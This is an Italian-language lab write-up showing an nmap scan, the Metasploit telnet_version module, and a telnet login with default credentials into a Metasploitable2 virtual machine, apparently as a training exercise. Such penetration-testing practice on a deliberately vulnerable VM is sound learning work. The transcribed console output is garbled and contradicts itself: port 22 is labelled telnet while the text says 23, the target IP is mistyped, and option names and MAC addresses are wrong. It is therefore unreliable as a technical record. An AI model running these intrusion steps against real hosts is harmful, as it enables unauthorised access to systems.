

Dopo aver visto che le macchine pingano

```

kali@kali: ~$ nmap -sV 192.168.178.72
Starting Nmap 7.94 (https://nmap.org) at 2024-01-23 06:18 EST
Nmap scan report for 192.168.178.72
Host is up (0.000275 latency).

PORT      STATE SERVICE
22/tcp    open  telnet  Linux telnetd
MAC Address: 08:00:27:66:BE:94 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds

```

vedo che la porta 23 telnet è aperta

[illegible]

ho trovato l'exploit su msfconsole cercando telnet_version

```

Name      Current Setting  Required  Description
-----
PASSWORD  no              no        The password for the specified username
HOSTS     yes             yes       The target host(s), see https://docs.metasploit.
REPORT    23             yes       The target port (TCP)
THREADS   1               yes       The number of concurrent threads (max one per ho
TIMEOUT   30             yes       Timeout for the Telnet probe
USERNAME  no              no        The username to authenticate as

View the full module info with the info, or info -d command.

msf5 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.17.72
rhosts => 192.168.17.72

msf5 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-----
PASSWORD  no              no        The password for the specified username
HOSTS     yes             yes       The target host(s), see https://docs.metasploit.
REPORT    23             yes       The target port (TCP)
THREADS   1               yes       The number of concurrent threads (max one per ho
TIMEOUT   30             yes       Timeout for the Telnet probe
USERNAME  no              no        The username to authenticate as

View the full module info with the info, or info -d command.

```

metto l'ip del target e controllo se l'exploit ha bisogno di altri requisiti

[illegible]

exploit funzionando ci da anche le credenziali di login del target

```

[+] Auxiliary module executing completed
msf5 auxiliary(=) > telnet 192.168.178.72
[*] exec: telnet 192.168.178.72

Trying 192.168.178.72...
Connected to 192.168.178.72.
Escape character is '^['.

metasploitable2

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Jan 23 06:17:56 EST 2024 on tty1
Linux metasploitable 2.6.24-10-server #1 SMP Thu Apr 10 13:56:00 UTC 2008 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.

msf5metasploitable2> ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:56:b4:84
          inet addr:192.168.178.72  Bcast:192.168.178.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe66:b64/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fe66:b64/64 Scope:Link
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:1776 errors:0 dropped:0 overruns:0 frame:0
          TX packets:163 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen: 1000
          RX bytes:283089 (276.4 KB)  TX bytes:19880 (19.4 KB)

```

con il comando telnet e ip del target accediamo alla macchina con i dati di login e per confermare facendo ifconfig vedremo che ci esce l'ip del target, quindi siamo dentro la macchina target